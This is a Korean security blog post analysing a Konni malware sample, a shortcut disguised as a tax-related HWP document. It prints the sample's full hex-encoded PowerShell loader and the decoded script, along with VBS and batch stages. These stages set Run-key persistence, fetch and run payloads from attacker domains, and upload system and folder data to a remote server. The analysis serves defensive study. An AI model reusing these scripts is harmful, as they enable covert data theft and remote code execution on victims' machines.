오늘은 북한 해킹 단체 Konni(코니)에서 만든 악성코드인 소명자료 목록(국세징수법 시행규칙)에 대해 알아보겠습니다.
2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입니다. 일단 기본적으로 미끼(Decoy) 문서를 사용자에게 표시한 다음 피해자 컴퓨터에서 악성 파일을 실행
비트코인 이나 북한 및 러시아,여러 사회적 이슈나 특정 관심사 등을 이용해서 악성코드를 공격하고 있습니다. 일단 악성코드는 압축 파일 형태인 zip 로 되어져 있으며 해당 악성코드에서는 3개의 파일이 들어가 져 있습니다.
소명자료 목록(국세징수법 시행규칙).hwp<-바로가기 LIK 확장자로 되어져 있음
인지세 조사 보고서(인지세 사무처리규정).hwp
자금출처명세서(부가가치세법 시행규칙).hwp
여기서 소명자료 목록(국세징수법 시행규칙).hwp.lnk 파일이 악성코드이며 무슨 링크 파일이 1.06 기가인 것부터 말이 안 되는 것을 확인할 수가 있습니다. 즉 어느 링크 파일이 몇 킬로바이트이지 기 가는 될 수가 없기 때문입니다.
먼저 해쉬값은 다음과 같습니다.
파일명:소명자료 목록(국세징수법 시행규칙).hwp.lnk
사이즈:1.06 GB
CRC32:f5e338ef
MD5:b132c1ff68e000a70b3c085cfdd72feb
SHA-1:60b06121a2952b2cd37c07cbe831e1dfa61b0a2e
SHA-256:b79a681f10ff05f376080f74417cdc8760ed8f5e844e8990d693496e6ee153df
그리고 Cerbero Suite Advanced로 열어보면 16진수로 해당 악성코드가 실행 코드가 감추어져 잇는 것을 확인할 수가 있고 이걸 확인하기 위해서 CyberChef를 이용을 해서 풀어 봅니다.
일단 먼저 해당 악성코드 PowerShell 명령어 입니다.
/c powershell -windowstyle hidden $wonders=\"`$temple='66756E6374696F(6)E20764A5A
6E5948584328245A436A725456446C45297B247471486B75444441(6)F623D3733(3)038353B244A
6F696578706E6745643D244E756C6C3B666F72656163682824(6)476477A43706E4C7A20696E2024
5A436A725456446C45297B244A6F696578706E674564(2)B3D5B636861725D28246476477A43706E
4C7A2D247471486B754444416F62297D3B72657(4)75726E20244A6F696578706E6745647D3B246665
4F555644454E66203D204765742D4C6F(6)36174696F6E3B244A7666626E684865203D204765742D43
68696C644974656D202D50617(4)68202466654F555644454E66202D52656375727365202A2E6C6E6B2
07C2077686572652D(6)F626A656374207B245F2E6C656E677468202D657120307834343131363(9)3
2327D207C2053656C6563742D4F626A656374202D457870616E6450726F7065727479204(6)756C6C4E6
16D653B696628244A7666626E6848652E6C656E677468202D6571203029207B(2)466654F555644454E
66203D2024656E763A54656D703B244A7666626E684865203D20(4)765742D4368696C64497465
6D202D50617468202466654F555644454E66202D52656375(7)27365202A2E6C6E6B207C20776
86572652D6F626A656374207B245F2E6C656E677468(2)02D65712030783434313136393232
7D207C2053656C6563742D4F626A656374202D457(8)70616E6450726F706572747920
46756C6C4E616D653B7D3B2466654F555644454E66203(D)2053706C69742D50617468
20244A7666626E6848653B245942744A51615655565A4B706(7)4F203D204E65772D
4F626A6563742053797374656D2E494F2E46696C6553747265616D(2)8244A76666
26E6848652C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F7(0)656E2
C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B245(9)4274
4A51615655565A4B70674F2E5365656B28302C205B53797374656D2E494F2E53656(5)6B4F
726967696E5D3A3A426567696E293B2454436F664363535068765A55637975482(0)3D204E6577
2D4F626A65637420627974655B5D20307830303030394236433B245942744(A)51615655565A4B7067
4F2E52656164282454436F6643635350687(6)5A55637975482C20302C203078303030303942364329
3B245942744A51615655565A4B706(7)4F2E436C6F736528293B52656D6F76652D4974656D202D5061
746820244A7666626E68486(5)202D466F7263653B2469716F7569724F595068203D202466654F5556
44454E66202B20275(C)27202B205B72656765785D3A3A756E65736361706528275C75433138435C75
424138355C(7)5433739305C75423843435C75303032305C75424141395C75423835445C75(3)03032
385C75414436445C75433133385C75433944355C75433231385C75424339355C7530(3)032305C7543
3244435C75443538395C75414444435C75434535395C75303032395C753030(3)2455C75303036385C
75303037375C753030373027293B7363202469716F7569724F59(5)06820285B627974655B5D5D2824
54436F664363535068765A5563797548207C2073656C65(6)374202D536B6970203078303030303233
4134202D4669727374203078(3)0303030364330302929202D456E636F64696E6720427974653B2620
2469716F7569724F5(9)50683B24437042796E57456F3D24656E763A7075626C6963202B20275C2720
2B202731313(1)31312E7A6970273B73632024437042796E57456F20285B627974655B5D5D28245443
6F66(4)363535068765A5563797548207C2073656C656374202D536B69702030783030303038464(1)342
929202D456E636F64696E6720427974653B246E444143526443584A6A203D206E65772(D)6F626A656374
202D636F6D207368656C6C2E6170706C69636174696F6E3B246(3)775076435972416B7659203D20246E4
44143526443584A6A2E4E616D65737061636528244(3)7042796E57456F293B246E444143526443584A6A
2E4E616D6573706163652824656E763A7(0)75626C6963202B20275C27202B2027646F63756D656E74732
7292E436F7079486572652(8)2463775076435972416B76592E6974656D7328292C203130343429207C20
6F75742D6E75(6)C6C3B72656D6F76652D6974656D202D706174682024437042796E57456F202D666F726
3(6)53B246C4A636479764A6B4353443D24656E763A7075626C69632B275C646F63756D656E(7)4735C73
746172742E766273273B2620246C4A636479764A(6)B4353443B';`$martin='';
for(`$i=0;`$i -le `$temple.Length-2;`$i=`$i+2){`$Sorre=`$temple[`$i]+`$temple[`$i+1];
`$martin= `$martin+[char]([convert]::toint16(`$Sorre,16));};Invoke-Command -ScriptBlock
([Scriptblock]::Create(`$martin));\";Invoke-Command -ScriptBlock ([Scriptblock]::
Create($wonders));
iconlocation: .hwp
}
PowerShell 명령어인 /c powershell -windowstyle hidden이 존재하며 해당 -windowstyle hidden 플래그는 PowerShell 창을 숨기고 실행
해당 코드에서 $wonders 변수에 암호화된 스크립트가 할당되어 있어서 해당 변수는 실행될 때 암호화된 스크립트를 복호화하고 실행하는 역할을 합니다.
$temple과 $martin은 암호화와 관련된 임시 변수
실제 암호화된 스크립트는 $temple에 할당되어 있음
$temple 변수에 할당된 문자열은 실행 시 복호화되어서 PowerShell 명령어로 실행될 스크립트 해당 스크립트에는 다른 악성 동작을 수행할 수 있는 명령들이 포함되어 있음
$temple 변수:
$temple 변수에는 악성 코드가 암호화된 형태로 할당되어 있으며 해당 변수는 실제 악성 코드의 바이너리 데이터를 16진수 형태로 저장을 하고 코드에서는 각 바이트를 두 자리 16진수 값으로 취급하여 이어 붙여서 $temple 변수에 할당 이렇게 악성 코드를 16진수 형태로 저장하면 일반적인 스트링으로 인식되지 않으며, 실행되지 않게 돼 있음
$martin 변수:$martin 변수는 $temple 변수에 저장된 16진수 값을 복호화하여 실행 가능한 PowerShell 코드로 변환하고 $temple에 저장된 16진수 값을 2개씩 끊어서 문자열 형태로 다시 연결하고 [convert]::toint16()를 사용하여 16진수 값을 10진수로 변환 그리고 [char]() 함수를 이용하여 10진수 값을 해당하는 ASCII 문자로 변환이 과정을 반복하여 $martin 변수에 실행 가능한 PowerShell 스크립트로 변환된 코드가 저장
결과적으로, $martin 변수에 저장된 스크립트는 $temple 변수에 암호화된 형태로 저장된 악성 코드를 복호화하여 실행 가능한 형태로 변환한 것이며 그리고 이후 Invoke-Command를 사용하여 이 스크립트를 실행하면 악성 코드가 실행되게 스크립트가 실행되면 다른 스크립트 블록을 생성하여 그 안에 포함된 악성 동작을 실행하며 Invoke-Command은 스크립트 블록을 실행하는 PowerShell 명령어이며 $wonders 변수에 할당된 스크립트 블록을 Invoke-Command를 통해 실행하게 되며
스크립트 블록이 실행되면 더 복잡한 암호화된 문자열을 복호화하고 다시 실행하는 과정을 거치고 이때, 실행되는 악성 동작을 복호화하여 실행
마지막으로, icon location:.hwp라는 코드가 있는데 이는 아이콘 파일의 위치를 지정합니다.즉 위에 있는 16진수를 CyberChef로 풀어보면 다음과 같습니다.
function vJZnYHXC($ZCjrTVDlE){$tqHkuDDAob=73085;$JoiexpngEd=$Null;
foreach($dvGzCpnLz in $ZCjrTVDlE){$JoiexpngEd+=[char]($dvGzCpnLz-$tqHkuDDAob)};
return $JoiexpngEd};$feOUVDENf = Get-Location;$JvfbnhHe = Get-ChildItem -Path $
feOUVDENf -Recurse *.lnk
| where-object {$_.length -eq 0x44116922} | Select-Object -ExpandProperty
FullName;if($JvfbnhHe.length -eq 0) {$feOUVDENf = $env:Temp;$JvfbnhHe = Get-ChildItem -Path
$feOUVDENf -Recurse *.lnk | where-object {$_.length -eq 0x44116922}
| Select-Object -ExpandProperty FullName;};$feOUVDENf = Split-Path
$JvfbnhHe;$YBtJQaVUVZKpgO = New-Object System.IO.FileStream($JvfbnhHe, [System.IO.FileMode]::
Open, [System.IO.FileAccess]::Read);$YBtJQaVUVZKpgO.Seek(0, [System.IO.SeekOrigin]::Begin);
$TCofCcSPhvZUcyuH = New-Object byte[] 0x00009B6C;$YBtJQaVUVZKpgO.
Read($TCofCcSPhvZUcyuH, 0, 0x00009B6C);$YBtJQaVUVZKpgO.Close();Remove-Item -Path
$JvfbnhHe -Force;$iqouirOYPh = $feOUVDENf + '\' (+ )[regex]::
unescape('\uC18C\uBA85\uC790\uB8CC\u0020\uBAA9\uB85D\u0028\uAD6D\uC138\uC9D5\uC218
\uBC95\u0020\uC2DC\uD589\uADDC\uCE59\u0029\u002E\u0068\u0077\u0070');
sc $iqouirOYPh ([byte[]]($TCofCcSPhvZUcyuH | select -Skip 0x000023A4 -First 0x00006C00))
(-)Encoding Byte;& $iqouirOYPh;$CpBynWEo=$env:public +
'\' + '11111(.)zip';sc $CpBynWEo ([byte[]]($TCofCcSPhvZUcyuH
| select -Skip 0x00008(F)A4)) -Encoding Byte;$nDACR(d)CXJj = new-object -com
shell.application;$cwPvCYrAkvY = $nDACRdCXJj.Namespace($CpBynWEo);$nDACR(d)CXJ
.Namespace($env:public (+) '\' + 'documents').CopyHere($cw(P)vCYrAkvY.items(), 1044)
| out-null;remove-item -path $CpBynWEo -force;$lJcd(y)vJkCSD=$env:public+'
\documents\start(.)vbs';& $lJcdyvJkCSD;
해당 코드는 PowerShell 스크립트로 파일을 검색하고 실행하는 작업을 수행 코드에는 유니코드로 vJZnYHXC 함수 정의:
해당 함수는 입력으로 받은 $ZCjrTVDlE 배열의 각 파일 이름을 암호화하여 반환 암호화에는 $tqHkuDDAob 값을 사용
파일 목록 가져오기:
현재 스크립트 실행 경로($feOUVDENf)를 가져오고 해당 경로에서 .lnk 확장자를 가진 파일들 중 파일 크기가 0x44116922인 파일들의 경로를 선택하여 $JvfbnhHe에 저장하며 만약 $JvfbnhHe 배열의 길이가 0이라면 시스템의 임시 폴더($env:Temp)에서 .lnk 확장자를 가진 파일들을 검색하여 $JvfbnhHe에 다시 저장
파일 데이터 읽기와 삭제:
$JvfbnhHe에 저장된 파일을 읽어오기 위해 파일 스트림을 생성하고 파일 데이터를 $TCofCcSPhvZUcyuH 배열에 저장하며 파일 스트림을 닫고, 해당 파일을 강제로 삭제
파일 실행:
앞서 저장한 파일 경로 $iqouirOYPh를 이용하여 해당 파일을 실행
[System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, $YBtJQaVUVZKpgO.Seek(0, [System.IO.SeekOrigin]::Begin), 그리고 $TCofCcSPhvZUcyuH = New-Object byte[]는 파일을 읽기 위한 부분으로 파일을 열고 파일 데이터를 읽어옵니다. 각각의 역할
[System.IO.FileMode]::Open:
FileMode 열거형(enum)의 값 중 하나로, 파일을 열 때 사용할 파일 모드를 지정
Open은 파일을 열고, 파일이 이미 존재하면 열기만 하고, 파일이 없으면 오류를 발생
[System.IO.FileAccess]::Read:
FileAccess 열거형(enum)의 값 중 하나로, 파일에 대한 액세스 권한을 지정
Read는 파일을 읽으려고 사용됩니다. 파일을 읽을 수 있는 권한을 부여
$YBtJQaVUVZKpgO.Seek(0, [System.IO.SeekOrigin]::Begin):
$YBtJQaVUVZKpgO는 파일 스트림을 나타내는 변수 $JvfbnhHe에 저장된 파일 경로를 이용하여 파일 스트림을 열었음
Seek 메서드는 파일 스트림에서 읽을 위치를 지정하는 데 사용
[System.IO.SeekOrigin]::Begin은 Seek 메서드의 두 번째 인자로 파일 포인터를 시작 위치(파일의 처음)부터 이동하도록 지정
$TCofCcSPhvZUcyuH = New-Object byte[]:
$TCofCcSPhvZUcyuH 변수를 선언하고 해당 변수는 파일 데이터를 담을 byte 배열
New-Object byte[]를 사용하여 byte 배열을 생성 0x00009B6C 바이트 크기의 배열을 생성하도록 지정되어 있음
$TCofCcSPhvZUcyuH 배열은 파일 데이터를 저장하려고 사용
이렇게 [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, $YBtJQaVUVZKpgO.Seek(0, [System.IO.SeekOrigin]::Begin) 그리고 $TCofCcSPhvZUcyuH = New-Object byte[]를 조합하여 파일을 열고 파일 데이터를 읽어와 $TCofCcSPhvZUcyuH 배열에 저장하게 됩니다. 이후에 파일 스트림을 닫고, 파일을 삭제하는 등의 작업을 수행
유니코드 해독:
유니코드로 인코딩된 문자열 \uC18C\uBA85\uC790\uB8CC\u0020\uBAA9\uB85D\u0028\uAD6D\uC138\uC9D5\uC218\uBC95\u0020\uC2DC\uD589\uADDC\uCE59\u0029\u002E\u0068\u0077\u0070을 해독하여 파일 이름을 얻는 작업을 수행 해당 작업은 [regex]::unescape()를 사용하여 유니코드 이스케이프 시퀀스를 해당 문자로 변환하며 경우 파일 이름은 소명서(국제적으로 특허법 시행규정).hwp 가 됩니다.
공용 사용자 프로필 경로 저장:
시스템의 공용 사용자 프로필 폴더 경로($env:public)를 $CpBynWEo에 저장
New-Item -Path $CpBynWEo -ItemType File는 현재 디렉터리에 11111(.)zip 파일을 생성
[byte[]]($TCofCcSPhvZUcyuH | select -Skip 0x00008FA4)는 11111(.)zip 파일의 내용을 0x00008FA4 오프셋부터 바이트 배열로 변환
sc $CpBynWEo ([byte[]]($TCofCcSPhvZUcyuH | select -Skip 0x00008FA4)) -Encoding Byte는 11111.zip 파일의 링크를 생성하고 C:\Windows\System32\WindowsPowerShell\v1.0\Tasks 폴더에 저장합니다.
new-object -com shell.application은 shell.application COM 객체의 새 인스턴스를 생성
$nDACRdCXJj.Namespace($CpBynWEo)은 11111.zip 파일의 Namespace 객체를 가져옴
$nDACRdCXJj.Namespace($env:public + '\' + 'documents').CopyHere($cwPvCYrAkvY.items(), 1044) | out-null은 11111(.)zip 파일의 내용을 documents 폴더에 복사
remove-item -path $CpBynWEo -force는 11111(.)zip 파일을 삭제
$lJcdyvJkCSD=$env:public+'\documents\start.vbs'은 start(.)vbs 파일의 경로를 포함하는 문자열을 생성
최종적으로 & $lJcdyvJkCSD는 start.vbs 파일을 실행
사용을 하는 유니코드는 UTF-7 (65000) 입니다.
해당 악성코드를 실행하면 다음과 같은 파일들이 실행됩니다.
fully.bat,no1.bat,no4.bat,cuserdesk.txt,cuserdocu.txt,cuserdown.txt,download.vbs,fully.bat,no4.bat,ipinfo.txt,start.vbs,systeminfo.txt,tsklt.txt,upload.vbs 파일들이 생성합니다.
먼저 start.vbs 입니다.
Set jgAOaaHDsnrRzA = CreateObject("WScript.Shell")
AbNZSEBkEy = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
jgAOaaHDsnrRzA.Run AbNZSEBkEy & "\fully(.)bat", 0
Set jgAOaaHDsnrRzA = Nothing
Set jgAOaaHDsnrRzA = CreateObject("WScript.Shell"):해당 줄은 WScript.Shell 객체의 인스턴스를 생성하고 이를 변수 jgAOaaHDsnrRzA에 할당
WScript.Shell 객체는 VBScript 내에서 명령, 스크립트 및 다른 실행 파일을 실행할 수 있게 해줌
AbNZSEBkEy = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1):해당 줄은 현재 실행 중인 VBScript 파일의 디렉터리 경로를 추출
WScript.ScriptFullName 속성은 현재 실행 중인 스크립트의 전체 경로를 반환 InstrRev 함수는 경로에서 마지막 역슬래시 ""의 위치를 찾고 나서 그리고 Left 함수를 사용하여 경로의 시작부터 마지막 역슬래시 위치까지의 문자를 추출 마지막 역슬래시 자체는 제외하고 추출된 경로는 변수 AbNZSEBkEy에 저장
jgAOaaHDsnrRzA.Run AbNZSEBkEy & "\fully(.)bat, 0: 이 줄은 변수 AbNZSEBkEy에 지정된 디렉터리에 있는 fully.bat이라는 배치 파일을 실행하며 실행은 WScript.Shell 객체의 Run 메서드를 사용하여 수행
두 번째 매개변수 (이 경우에는 0)는 배치 파일의 창을 어떻게 표시할지를 지정
값 0은 배치 파일의 창을 숨기는 것을 의미
Set jgAOaaHDsnrRzA = Nothing:해당 줄은 WScript.Shell 객체에 대한 참조를 해제하고 변수 jgAOaaHDsnrRzA를 Nothing으로 설정 이는 해당 객체가 더는 필요하지 않음을 나타냄
요약하면 해당 코드는 현재 실행 중인 VBScript와 같은 디렉터리에 있는 fully(.)bat이라는 배치 파일을 실행하며 실행 중에 배치 파일의 창을 숨김
다음 fully(.)bat 내용입니다.
@echo off
pushd "%~dp0"
if exist "no1.bat" (
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v
svchostno2 /t REG_SZ /d "%~dp0start(.)vbs" /f > nul
call no1.bat > nul
call no4.bat > nul
del /f /q no1(.)bat > nul
)
if not exist "no1(.)bat" (
if not exist "upok(.)txt" (
call no4.bat > nul
)
)
if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)
:1
if exist "temprun.bat" (
del /f /q temprun.bat
)
download.vbs http://centhosting(.)net/list.php?q=%COMPUTERNAME%.txt %~dp0setup.cab > nul
expand setup.cab -F:* %~dp0 > nul
del /f /q setup(.)cab > nul
call temprun.bat > nul
timeout -t 57 /nobreak
if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)
:EXIT
del /f /q "pakistan.txt"
해당 부분은 배치 스크립트
pushd "%~dp0:현재 배치 파일이 위치한 디렉터리로 이동
if exist "no1.bat" (...): "no1.bat"이라는 파일이 존재하는 경우를 처리 해당 블록에서는 레지스트리에 등록하고 no1.bat,no4.bat를 호출하며 no1.bat 파일을 삭제
if not exist "no1.bat" (...):no1.bat이라는 파일이 존재하지 않는 경우를 처리 해당 블록에서는 upok.txt 파일이 존재하지 않으면 no4.bat를 호출
if not exist pakistan.txt (goto 1):pakistan.txt 파일이 존재하지 않는 경우 :1 레이블 위치로 이동
if exist pakistan.txt (goto EXIT):pakistan.txt 파일이 존재하는 경우 스크립트 실행을 종료
:1: if not exist pakistan.txt 블록에서 이동한 레이블 위치
temprun.bat 파일이 존재하면 해당 파일을 삭제하고 centhosting(.) net웹사이트 에서 %COMPUTERNAME%.txt 파일을 내려받아 setup.cab 파일을 생성하고 해당 파일을 확장(expand) 마지막으로 temprun.bat 파일을 호출
timeout -t 57 /nobreak:57초 동안 스크립트 실행을 지연
/nobreak 옵션을 사용하여 사용자가 키를 눌러 실행을 중단할 수 없도록 함
if not exist pakistan.txt (goto 1):57초 대기 후 pakistan.txt 파일이 존재하지 않는 경우 :1 레이블 위치로 이동
if exist pakistan.txt (goto EXIT): pakistan.txt파일이 존재하는 경우 스크립트 실행을 종료
EXIT:pakistan.txt 파일이 존재하지 않거나 스크립트의 실행이 완료된 경우 이 위치로 이동여기서 pakistan.txt 파일을 삭제
물론 해당 코드에서도 no1.bat, no4.bat, temprun.bat, download.vbs 등의 파일이 사용되고 있으며 centhosting(.)net 사이트에서 %COMPUTERNAME%.txt 파일을 다운로드
다음은 no1.bat 입니다.
@echo off
pushd %~dp0
set fn=cw1328
download.vbs https://naver.drive001(.)com/v2/read/get.php?ra=ln3^&zw=xu6501 %~dp0%fn%.txt
> nul
powershell "$d = gc '%~dp0%fn%(.)txt' -Raw; $b = [System.Convert]::FromBase64String($d);
sc '%~dp0%fn%.zip' $b -Encoding Byte;" > nul
del /f /q %~dp0%fn%.txt > nul
timeout -t 10 /nobreak
powershell -command "$s=new-object -com shell.application;$z=$s.Namespace('%~dp0%fn%(.)zip')
;$z.items().item(0).name;" > %~dp0%fn%
set /p dt=<%~dp0%fn%
del /f /q %~dp0%fn% > nul
if not "%dt%"=="" (
powershell -command "$s=new-object -com shell.application;$z=$s.Namespace
('%~dp0%fn%.zip');$d=$s.Namespace('%~dp0');$d.CopyHere($z.Items(), 1044);" > nul
del /f /q %~dp0%fn%(.)zip > nul
for /L %%i IN (1,1,3) DO (
if exist %~dp0%dt% (
rundll32.exe %~dp0%dt% Run
)
timeout -t 30 /nobreak
if not exist %~dp0%dt% (
goto END1
)
)
)
:END1
if exist %~dp0%fn%.zip (
del /f /q %~dp0%fn%(.)zip > nul
)
해당 스크립트는 다음과 같이 수행을 합니다.
1. 배치 파일은 download.vbs 스크립트를 사용하여 URL에서 파일을 다운로드
다음은 download.vbs 스크립트의 내용
wget 명령을 사용하여 `https://naver.drive001(.)com/v2/read/get.php?ra=ln3^&zw=xu6501 URL 에서 파일을 다운로드 다운로드된 파일의 이름은 %~dp0%fn%.txt
다운로드한 파일을 powershell을 사용하여 base64에서 이진 파일로 변환하고이진 파일에서 zip 파일을 만듦
여기서 gc 명령을 사용하여 %~dp0%fn%.txt 파일을 읽고, FromBase64String메서드를 사용하여 base64에서 이진 파일로 변환 그런 다음 sc 명령을 사용하여서이진 파일에서 %~dp0%fn%.zip zip 파일을 만듬
zip 파일 내의 실행 파일의 이름을 가져옴
다음은 `powershell` 명령의 내용입니다.
new-object 명령을 사용하여 shell.application 객체를 생성하고 Namespace 메서드를 사용하여 %~dp0%fn%.zip 파일이 있는 디렉터리를 가져옴
그런 다음 items 메서드를 사용하여 %~dp0%fn%(.)zip 파일의 내용을 가져옴
마지막으로 item메서드를 사용하여 %~dp0%fn%(.)zip 파일의 첫 번째 항목의 이름을 가져옴
실행 파일을 3번 실행
if 명령을 사용하여 %dt% 변수가 비어 있지 않은지 확인
비어 있지 않았으면 for 루프를 사용하여 %dt% 파일을 3번 실행
rundll32.exe 명령을 사용하여 %dt% 파일을 실행하고 timeout 명령을 사용하여 %dt% 파일이 실행될 때까지 30초 동안 기다림
zip 파일을 삭제
해당 명령은 if 명령을 사용하여 %~dp0%fn%(.)zip 파일이 존재하는지 확인존재하는 경우 del 명령을 사용하여 %~dp0%fn%.zip 파일을 삭제
no4.bat 에는 다음과 같은 코드가 있습니다.
upload.vbs "http://centhosting(.)net/upload.php" cuserdown.txt %COMPUTERNAME%_cuserdown.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" cuserdocu.txt %COMPUTERNAME%_cuserdocu.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" cuserdesk.txt %COMPUTERNAME%_cuserdesk.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" systeminfo.txt %COMPUTERNAME%_systeminfo.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" ipinfo.txt %COMPUTERNAME%_ipinfo.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" tsklt.txt %COMPUTERNAME%_tsklt.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" cprog.txt %COMPUTERNAME%_cprog.txt >nul
upload.vbs 스크립트를 사용하여 해당 파일을 원격 서버인 http://centhosting(.)net/upload.php 에 업로드 합니다.
cuserdown.txt: 사용자의 다운로드 폴더 정보가 저장된 파일
cuserdocu.txt: 사용자의 문서 폴더 정보가 저장된 파일
cuserdesk.txt: 사용자의 데스크톱 폴더 정보가 저장된 파일
systeminfo.txt: 시스템 정보가 저장된 파일
ipinfo.txt:IP 주소 정보가 저장된 파일
tsklt.txt: 컴퓨터 있는 파일의 정보가 저장된 파일
cprog.txt: 설치된 프로그램 목록이 저장된 파일
즉 upload(.)vbs를 실행하여 각 파일을 원격 서버로 업로드한 다음 결과를 출력하지 않고 무시합니다(>nul). %COMPUTERNAME%은 해당 컴퓨터의 이름을 나타내는 환경 변수로 대체
download(.)vbs는 다음과 같이 동작을 합니다.
On Error Resume Next
oyVtrnVE = WScript.arguments.item(0)
DHWxsMWW = WScript.arguments.item(1)
Dim PNtEFucnlwXKhI: Set PNtEFucnlwXKhI = createobject("MSXML2.ServerXMLHTTP")
PNtEFucnlwXKhI.setTimeouts 0, 60000, 300000, 300000
Dim RoyCUrqyL: Set RoyCUrqyL = createobject("Adodb.Stream")
PNtEFucnlwXKhI.Open "GET", oyVtrnVE, False
Err.clear
Err.Number = 3
IF Err.Number<>0 Then
PNtEFucnlwXKhI.Send
IF Err.Number <> 3 Then
Set RoyCUrqyL = nothing
Set PNtEFucnlwXKhI = nothing
WScript.Quit
End If
End If
If PNtEFucnlwXKhI.Status = 200 Then
RoyCUrqyL.type = 1
RoyCUrqyL.open
RoyCUrqyL.write PNtEFucnlwXKhI.responseBody
RoyCUrqyL.savetofile DHWxsMWW , 2
RoyCUrqyL.close
End If
Set RoyCUrqyL = nothing
Set PNtEFucnlwXKhI = nothing
WScript.Quit
사용자로부터 두 개의 인수(파일의 URL과 로컬 파일 경로)를 받아옴
HTTP 요청을 보내려고 MSXML2.ServerXMLHTTP 객체를 생성
서버로부터 내려받은 파일을 저장하기 위해 Adodb.Stream 객체를 생성
HTTP GET 요청을 보내고 응답이 성공적으로 오면 파일을 다운로드하여 로컬에 저장.
스크립트는 오류 처리를 위해 On Error Resume Next 문을 사용함
오류가 발생하면 다음 코드를 계속 실행
오류가 발생하였으면 Err.Number 변수를 이용하여 오류를 확인하고 처리
upload(.)vbs 내용은 다음과 같습니다.
n Error Resume Next
ytxKtGVqRQ = WScript.arguments.item(0)
OidCwjwBhxv = WScript.arguments.item(1)
BncBJtwnwSho = WScript.arguments.item(2)
Dim uCKLIlVqAQM: Set uCKLIlVqAQM = CreateObject("Scripting.FileSystemObject").
OpenTextFile(OidCwjwBhxv, 1)
Dim strFileData: strFileData = uCKLIlVqAQM.ReadAll()
Dim strPostData: strPostData = "FileName=" & BncBJtwnwSho & "&FileData=" & strFileData
Dim EgLBsiweAHxHhjhq: Set EgLBsiweAHxHhjhq = createobject("MSXML2.ServerXMLHTTP")
EgLBsiweAHxHhjhq.SetTimeouts 0, 60000, 300000, 300000
EgLBsiweAHxHhjhq.Open "POST", ytxKtGVqRQ, False
EgLBsiweAHxHhjhq.SetRequestHeader "Content-type", "application/x-www-form-urlencoded"
& strBoundary
EgLBsiweAHxHhjhq.SetRequestHeader "Content-Length", Len(strPostData)
Err.clear
Err.Number = 3
IF Err.Number<>0 Then
EgLBsiweAHxHhjhq.Send strPostData
IF Err.Number <> 3 Then
uCKLIlVqAQM.Close
Set uCKLIlVqAQM = Nothing
Set EgLBsiweAHxHhjhq = nothing
WScript.Quit
End If
End If
uCKLIlVqAQM.Close
Set uCKLIlVqAQM = Nothing
Set EgLBsiweAHxHhjhq = nothing
EmItrjtdTyw = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
Set RkCusHRteIXHqJK = CreateObject("Scripting.FileSystemObject")
Set rlKDWXqlfDnUmrLis = RkCusHRteIXHqJK.CreateTextFile(EmItrjtdTyw & "\upok(.)txt", True)
rlKDWXqlfDnUmrLis.Close
WScript.Quit
사용자로부터 세 개의 인수(웹 서버 URL, 업로드할 파일의 로컬 경로, 올리기 될 파일 이름)를 받아옴
FileSystemObject를 사용하여 로컬 파일을 읽어들임
strPostData 변수에 업로드할 파일 이름과 파일 데이터를 포함하여 POST 요청의 데이터를 구성
MSXML2.ServerXMLHTTP 객체를 생성하고 웹 서버로 업로드하기 위해 해당 데이터를 POST 요청으로 보냄
오류 처리를 위해 On Error Resume Next 문을 사용하며 오류가 발생하면 다음 코드를 계속 실행
Err.Number를 이용하여 오류를 확인하고 오류가 발생하지 않았으면 EgLBsiweAHxHhjhq.Send 메서드를 사용하여 데이터를 서버로 전송
업로드가 완료되면 로컬 파일을 닫고 사용한 객체들을 해제
스크립트가 실행되는 폴더 경로에 upok(.)txt 파일을 생성
스크립트 실행을 종료
해당 부분을 바이러스토탈(Virus Total)에서 업로드 하려고 했지만 바이러스토탈에서는 업로드 할 수가 있는 크기가 제한이 걸려 있어서 파일을 업로드 할 수가 없습니다.
입니다. 개인적인 생각이지만 국세청 같은 제목으로 낚는 것 보면 아마도 대기업, 중소기업 등 회사들을 노리는 것이 아닐까 생각을 합니다. 그리고 기본적으로 백신프로그램들은 설치를 해서 사용을 하는 것이 그나마 안전하게 컴퓨터를 사용하는 방법일 것입니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
구글 플레이 스토어에서 유포 된 애드웨어-트로트 노래모음-최신 트롯트 인기가요 음악듣기 앱( 2021,08,19) (2) | 2023.08.14 |
---|---|
국민건강보험 공단 피싱 사이트-sa1(.)f6pt(.)hair(2023.08.12) (2) | 2023.08.13 |
윈도우 10,윈도우 11 KB5029244,KB5029247,KB5029263 보안 업데이트 (0) | 2023.08.10 |
마이크로소프트 윈도우 11 프로세서 호환성 목록에서 44개의 인텥 CPU를 제거 (0) | 2023.08.08 |
파이어폭스 116.0.2(Firefox 116.0.2) ZoneAlarm Anti-Keylogger 충돌문제 해결 (0) | 2023.08.08 |
마이크로소프트 윈도우 에서 TLS 1.0 및 TLS 1.1을 비활성 (0) | 2023.08.08 |
일본 에포스 카드 (エポスカー) 피싱 사이트-epos-c.biuzoyb(.)cn(2023.08.06) (0) | 2023.08.07 |
코발트 스트라이크(Cobalt Strike) 의심스러운 PowerShell(파워셀) 다운로드 및 실행을 파일-ss.bat(2023.8.4) (0) | 2023.08.05 |